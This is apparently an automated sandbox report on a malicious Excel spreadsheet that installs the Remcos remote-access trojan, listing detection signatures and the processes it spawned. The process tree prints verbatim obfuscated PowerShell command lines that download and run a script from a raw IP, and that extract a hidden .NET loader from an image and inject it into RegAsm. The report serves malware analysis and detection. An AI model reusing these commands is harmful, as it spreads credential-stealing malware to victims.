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Windows
Analysis Report
QPS-36477.xls
Overview
General Information
| Sample name: | QPS-36477.xls |
| Analysis ID: | 1529026 |
| MD5: | 912e8c547d1e8dd1e12afbd819074b30 |
| SHA1: | 96fd97dc12ae0a792c85fdf7ec9a2424a90097b3 |
| SHA256: | b86e4c334af2fdbe88b3cb50cd85c47eac10a9e9b9ac7c0dd656e37cabce7a5a |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3480 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3764 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
cmd.exe (PID: 3852 cmdline: "C:\Window s\system32 \cmd.exe" "/C PoweRs hElL -eX bypaSS -NOp -W 1 -c devicEcRE dEnTiaLDeP loyment ; ieX($(Ie X('[SYSTem .tEXt.EnCO diNG]'+[CH ar]0X3A+[c HaR]0x3a+' Utf8.GEtST RINg([SYST em.coNVeRT ]'+[cHaR]5 8+[CHaR]58 +'FroMbaSE 64StriNg(' +[CHar]0X2 2+'JFVEcFc yQ0dRM0RLI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgPSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGF kZC1UeVBlI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLW1lTWJ FckRlRklOS VRpT04gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgidVJ MbU9OIiwgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gdE1ZbUpna ixzdHJpbmc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBtRnlWT WhXLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGV6W EVQaix1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgWmVpe GRab1ZELEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G11bGNlZkJ aKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W5hTUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iRCIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT mFtZXNQYUN FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgVGhTY 0hVSUkgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tUGFzc1Roc nU7ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJFV EcFcyQ0dRM 0RLOjpVUkx Eb3dubG9hZ FRvRmlsZSg wLCJodHRwO i8vMTkyLjM uMjIwLjQwL zMzMC92ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnRJRiI sIiRlTlY6Q VBQREFUQVx 2ZXJ5YmVzd HRoaW5nc3d lc2hhcmVkZ m9ybmV3LnZ iUyIsMCwwK TtTVGFyVC1 TbEVFUCgzK TtTdGFSdCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkZW5WO kFQUERBVEF cdmVyeWJlc 3R0aGluZ3N 3ZXNoYXJlZ GZvcm5ldy5 2YlMi'+[Ch aR]34+'))' )))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 3876 cmdline: PoweRshElL -eX byp aSS -NOp -W 1 -c dev icEcREdEnT iaLDePloym ent ; ie X($(IeX('[ SYSTem.tEX t.EnCOdiNG ]'+[CHar]0 X3A+[cHaR] 0x3a+'Utf8 .GEtSTRINg ([SYSTem.c oNVeRT]'+[ cHaR]58+[C HaR]58+'Fr oMbaSE64St riNg('+[CH ar]0X22+'J FVEcFcyQ0d RM0RLICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGFkZC1 UeVBlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W1lTWJFckR lRklOSVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAnW0R sbEltcG9yd CgidVJMbU9 OIiwgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgdE1 ZbUpnaixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB tRnlWTWhXL HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGV6WEVQa ix1aW50ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gWmVpeGRab 1ZELEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIG11b GNlZkJaKTs nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT UUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAiRCI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTmFtZ XNQYUNFICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gVGhTY0hVS UkgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJFVEcFc yQ0dRM0RLO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TkyLjMuMjI wLjQwLzMzM C92ZXJ5YmV zdHRoaW5nc 3dlc2hhcmV kZm9ybmV3L nRJRiIsIiR lTlY6QVBQR EFUQVx2ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnZiUyI sMCwwKTtTV GFyVC1TbEV FUCgzKTtTd GFSdCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kZW5WOkFQU ERBVEFcdmV yeWJlc3R0a GluZ3N3ZXN oYXJlZGZvc m5ldy52YlM i'+[ChaR]3 4+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3976 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\uvrrky hh\uvrrkyh h.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3988 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES3ED5.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\uvr rkyhh\CSC5 3416C506E6 84743ABB03 B3747B6826 7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 4080 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryb estthingsw esharedfor new.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3112 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezF9aW 1hZ2VVcmwn KycgPSAnKy d7MH1odHRw czovL2lhNj AwMTAyLnVz LmFyY2hpdm Uub3JnLzMy L2l0ZW1zL2 RldGFoLW5v dGUtdl8yMD I0MTAvRGV0 YWhOb3QnKy dlX1YuanBn IHswfTt7MX 13ZWJDJysn bGllbnQgPS BOJysnZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50O3sx fWltJysnYW dlQnl0ZXMg PSB7MX13ZW JDbGllbnQn KycuRG93bm xvYWREYXRh KHsxfWltYW dlVScrJ3Js KTt7MX1pbW FnZVRleHQg PSBbU3lzdG VtLlQnKydl eHQuJysnRW 5jb2Rpbmdd OjpVVEY4Lk dldFN0cmlu Zyh7MX1pbW FnZUJ5dGVz KTt7JysnMX 1zdGFydEZs YWcgPSB7MH 08JysnPEJB U0U2NF9TVE FSVD4+ezB9 JysnO3sxfW VuZEZsYWcg PSB7MH08PE JBU0U2NF9F TkQ+PnswfT t7MX1zdGFy dEluZGV4ID 0gezF9aW1h Z2VUZXh0Lk luZGV4T2Yo ezF9c3Rhcn RGbGFnKTt7 MX1lbmRJbm RleCA9IHsx fWltYWdlVG V4dC4nKydJ bmRleE9mKH sxfWVuZEZs YWcpO3sxfX N0YXJ0SW5k ZXggJysnLW dlIDAgLWFu ZCB7MX0nKy dlbmRJbmRl eCAtZ3Qgez F9c3RhcnRJ bmRleDt7MX 1zdGFydElu ZGV4ICs9IH sxfXN0YXJ0 RmxhZy5MZW 5ndGg7eycr JzF9YmEnKy dzZTY0TGVu Z3RoID0gez EnKyd9ZW5k SW5kZXggLS B7MX1zdGFy dEluZGV4O3 sxfWJhc2U2 NENvbW1hbm QgPSB7MX1p bWFnZVRleH QuU3Vic3Ry aW5nKHsxfX N0YXJ0SW5k ZXgsIHsxfW Jhc2U2NExl bmd0aCk7ez F9Y29tbWFu ZEJ5dGVzIC crJz0gW1N5 cycrJ3RlbS 5Db252ZXJ0 XTo6RnJvJy snbUJhc2U2 NFMnKyd0cm luZyh7MX1i YXNlNjRDb2 1tYW5kKTt7 MX1sb2FkZW RBc3NlbWJs eSA9IFtTeX N0ZW0nKycu UmVmbGVjdG lvbi5Bc3Nl bWJsJysneV 06OkxvYWQo ezF9Y29tbW FuZEJ5dGVz KTt7MX12YW lNZXRob2Qg PSBbZG5sJy snaWIuSU8u SG9tZV0uR2 V0TWV0aG9k KHswfVZBSX swfSk7ezF9 dmFpTWV0aG 9kLkknKydu dm9rZSh7MX 1udWxsLCBA KHswfXR4dC 5IR0dDUlIv MDMzLzA0Lj AyMi4zLjI5 MS8vJysnOn B0dGh7MH0s IHswfWRlc2 F0aXZhZG97 MH0sIHswfW Rlc2F0aXZh ZG97MH0sIC crJ3swfWRl cycrJ2F0aX ZhZG97MH0s IHswfVJlZ0 FzbXswfSwg ezB9ZGVzYX RpdmFkb3sn KycwfSwgez B9ZGVzYXRp dmFkb3swfS kpOycpICAt RiBbQ2hhcl 0zOSxbQ2hh cl0zNil8IG ludm9rZS1l eHByZXNTSW 9u';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3232 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{1 }imageUrl' +' = '+'{0 }https://i a600102.us .archive.o rg/32/item s/detah-no te-v_20241 0/DetahNot '+'e_V.jpg {0};{1}we bC'+'lient = N'+'ew- Object Sys tem.Net.We bClient;{1 }im'+'ageB ytes = {1} webClient' +'.Downloa dData({1}i mageU'+'rl );{1}image Text = [Sy stem.T'+'e xt.'+'Enco ding]::UTF 8.GetStrin g({1}image Bytes);{'+ '1}startFl ag = {0}<' +'<BASE64_ START>>{0} '+';{1}end Flag = {0} <<BASE64_E ND>>{0};{1 }startInde x = {1}ima geText.Ind exOf({1}st artFlag);{ 1}endIndex = {1}imag eText.'+'I ndexOf({1} endFlag);{ 1}startInd ex '+'-ge 0 -and {1} '+'endInde x -gt {1}s tartIndex; {1}startIn dex += {1} startFlag. Length;{'+ '1}ba'+'se 64Length = {1'+'}end Index - {1 }startInde x;{1}base6 4Command = {1}imageT ext.Substr ing({1}sta rtIndex, { 1}base64Le ngth);{1}c ommandByte s '+'= [Sy s'+'tem.Co nvert]::Fr o'+'mBase6 4S'+'tring ({1}base64 Command);{ 1}loadedAs sembly = [ System'+'. Reflection .Assembl'+ 'y]::Load( {1}command Bytes);{1} vaiMethod = [dnl'+'i b.IO.Home] .GetMethod ({0}VAI{0} );{1}vaiMe thod.I'+'n voke({1}nu ll, @({0}t xt.HGGCRR/ 033/04.022 .3.291//'+ ':ptth{0}, {0}desati vado{0}, { 0}desativa do{0}, '+' {0}des'+'a tivado{0}, {0}RegAsm {0}, {0}de sativado{' +'0}, {0}d esativado{ 0}));') -F [Char]39, [Char]36)| invoke-ex presSIon" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - RegAsm.exe (PID: 1908 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1432 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\jf aasddkn" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3512 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\lz fstnomboxo " MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1120 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\wc klufzfxwpb azt" MD5: 8FE9545E9F72E460723F484C304314AD) - mshta.exe (PID: 2988 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3016 cmdline:
"C:\Window s\system32 \cmd.exe" "/C PoweRs hElL -eX bypaSS -NOp -W 1 -c devicEcRE dEnTiaLDeP loyment ; ieX($(Ie X('[SYSTem .tEXt.EnCO diNG]'+[CH ar]0X3A+[c HaR]0x3a+' Utf8.GEtST RINg([SYST em.coNVeRT ]'+[cHaR]5 8+[CHaR]58 +'FroMbaSE 64StriNg(' +[CHar]0X2 2+'JFVEcFc yQ0dRM0RLI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgPSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGF kZC1UeVBlI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLW1lTWJ FckRlRklOS VRpT04gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgidVJ MbU9OIiwgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gdE1ZbUpna ixzdHJpbmc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBtRnlWT WhXLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGV6W EVQaix1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgWmVpe GRab1ZELEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G11bGNlZkJ aKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W5hTUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iRCIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT mFtZXNQYUN FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgVGhTY 0hVSUkgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tUGFzc1Roc nU7ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJFV EcFcyQ0dRM 0RLOjpVUkx Eb3dubG9hZ FRvRmlsZSg wLCJodHRwO i8vMTkyLjM uMjIwLjQwL zMzMC92ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnRJRiI sIiRlTlY6Q VBQREFUQVx 2ZXJ5YmVzd HRoaW5nc3d lc2hhcmVkZ m9ybmV3LnZ iUyIsMCwwK TtTVGFyVC1 TbEVFUCgzK TtTdGFSdCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkZW5WO kFQUERBVEF cdmVyeWJlc 3R0aGluZ3N 3ZXNoYXJlZ GZvcm5ldy5 2YlMi'+[Ch aR]34+'))' )))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 1012 cmdline:
PoweRshElL -eX byp aSS -NOp -W 1 -c dev icEcREdEnT iaLDePloym ent ; ie X($(IeX('[ SYSTem.tEX t.EnCOdiNG ]'+[CHar]0 X3A+[cHaR] 0x3a+'Utf8 .GEtSTRINg ([SYSTem.c oNVeRT]'+[ cHaR]58+[C HaR]58+'Fr oMbaSE64St riNg('+[CH ar]0X22+'J FVEcFcyQ0d RM0RLICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGFkZC1 UeVBlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W1lTWJFckR lRklOSVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAnW0R sbEltcG9yd CgidVJMbU9 OIiwgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgdE1 ZbUpnaixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB tRnlWTWhXL HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGV6WEVQa ix1aW50ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gWmVpeGRab 1ZELEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIG11b GNlZkJaKTs nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT UUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAiRCI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTmFtZ XNQYUNFICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gVGhTY0hVS UkgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJFVEcFc yQ0dRM0RLO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TkyLjMuMjI wLjQwLzMzM C92ZXJ5YmV zdHRoaW5nc 3dlc2hhcmV kZm9ybmV3L nRJRiIsIiR lTlY6QVBQR EFUQVx2ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnZiUyI sMCwwKTtTV GFyVC1TbEV FUCgzKTtTd GFSdCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kZW5WOkFQU ERBVEFcdmV yeWJlc3R0a GluZ3N3ZXN oYXJlZGZvc m5ldy52YlM i'+[ChaR]3 4+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3580 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\lkzgbm km\lkzgbmk m.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2196 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES87A7.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\lkz gbmkm\CSCA 61F80875D1 340AC807DD 81469F56ED .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3644 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryb estthingsw esharedfor new.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3744 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezF9aW 1hZ2VVcmwn KycgPSAnKy d7MH1odHRw czovL2lhNj AwMTAyLnVz LmFyY2hpdm Uub3JnLzMy L2l0ZW1zL2 RldGFoLW5v dGUtdl8yMD I0MTAvRGV0 YWhOb3QnKy dlX1YuanBn IHswfTt7MX 13ZWJDJysn bGllbnQgPS BOJysnZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50O3sx fWltJysnYW dlQnl0ZXMg PSB7MX13ZW JDbGllbnQn KycuRG93bm xvYWREYXRh KHsxfWltYW dlVScrJ3Js KTt7MX1pbW FnZVRleHQg PSBbU3lzdG VtLlQnKydl eHQuJysnRW 5jb2Rpbmdd OjpVVEY4Lk dldFN0cmlu Zyh7MX1pbW FnZUJ5dGVz KTt7JysnMX 1zdGFydEZs YWcgPSB7MH 08JysnPEJB U0U2NF9TVE FSVD4+ezB9 JysnO3sxfW VuZEZsYWcg PSB7MH08PE JBU0U2NF9F TkQ+PnswfT t7MX1zdGFy dEluZGV4ID 0gezF9aW1h Z2VUZXh0Lk luZGV4T2Yo ezF9c3Rhcn RGbGFnKTt7 MX1lbmRJbm RleCA9IHsx fWltYWdlVG V4dC4nKydJ bmRleE9mKH sxfWVuZEZs YWcpO3sxfX N0YXJ0SW5k ZXggJysnLW dlIDAgLWFu ZCB7MX0nKy dlbmRJbmRl eCAtZ3Qgez F9c3RhcnRJ bmRleDt7MX 1zdGFydElu ZGV4ICs9IH sxfXN0YXJ0 RmxhZy5MZW 5ndGg7eycr JzF9YmEnKy dzZTY0TGVu Z3RoID0gez EnKyd9ZW5k SW5kZXggLS B7MX1zdGFy dEluZGV4O3 sxfWJhc2U2 NENvbW1hbm QgPSB7MX1p bWFnZVRleH QuU3Vic3Ry aW5nKHsxfX N0YXJ0SW5k ZXgsIHsxfW Jhc2U2NExl bmd0aCk7ez F9Y29tbWFu ZEJ5dGVzIC crJz0gW1N5 cycrJ3RlbS 5Db252ZXJ0 XTo6RnJvJy snbUJhc2U2 NFMnKyd0cm luZyh7MX1i YXNlNjRDb2 1tYW5kKTt7 MX1sb2FkZW RBc3NlbWJs eSA9IFtTeX N0ZW0nKycu UmVmbGVjdG lvbi5Bc3Nl bWJsJysneV 06OkxvYWQo ezF9Y29tbW FuZEJ5dGVz KTt7MX12YW lNZXRob2Qg PSBbZG5sJy snaWIuSU8u SG9tZV0uR2 V0TWV0aG9k KHswfVZBSX swfSk7ezF9 dmFpTWV0aG 9kLkknKydu dm9rZSh7MX 1udWxsLCBA KHswfXR4dC 5IR0dDUlIv MDMzLzA0Lj AyMi4zLjI5 MS8vJysnOn B0dGh7MH0s IHswfWRlc2 F0aXZhZG97 MH0sIHswfW Rlc2F0aXZh ZG97MH0sIC crJ3swfWRl cycrJ2F0aX ZhZG97MH0s IHswfVJlZ0 FzbXswfSwg ezB9ZGVzYX RpdmFkb3sn KycwfSwgez B9ZGVzYXRp dmFkb3swfS kpOycpICAt RiBbQ2hhcl 0zOSxbQ2hh cl0zNil8IG ludm9rZS1l eHByZXNTSW 9u';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3784 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{1 }imageUrl' +' = '+'{0 }https://i a600102.us .archive.o rg/32/item s/detah-no te-v_20241 0/DetahNot '+'e_V.jpg {0};{1}we bC'+'lient = N'+'ew- Object Sys tem.Net.We bClient;{1 }im'+'ageB ytes = {1} webClient' +'.Downloa dData({1}i mageU'+'rl );{1}image Text = [Sy stem.T'+'e xt.'+'Enco ding]::UTF 8.GetStrin g({1}image Bytes);{'+ '1}startFl ag = {0}<' +'<BASE64_ START>>{0} '+';{1}end Flag = {0} <<BASE64_E ND>>{0};{1 }startInde x = {1}ima geText.Ind exOf({1}st artFlag);{ 1}endIndex = {1}imag eText.'+'I ndexOf({1} endFlag);{ 1}startInd ex '+'-ge 0 -and {1} '+'endInde x -gt {1}s tartIndex; {1}startIn dex += {1} startFlag. Length;{'+ '1}ba'+'se 64Length = {1'+'}end Index - {1 }startInde x;{1}base6 4Command = {1}imageT ext.Substr ing({1}sta rtIndex, { 1}base64Le ngth);{1}c ommandByte s '+'= 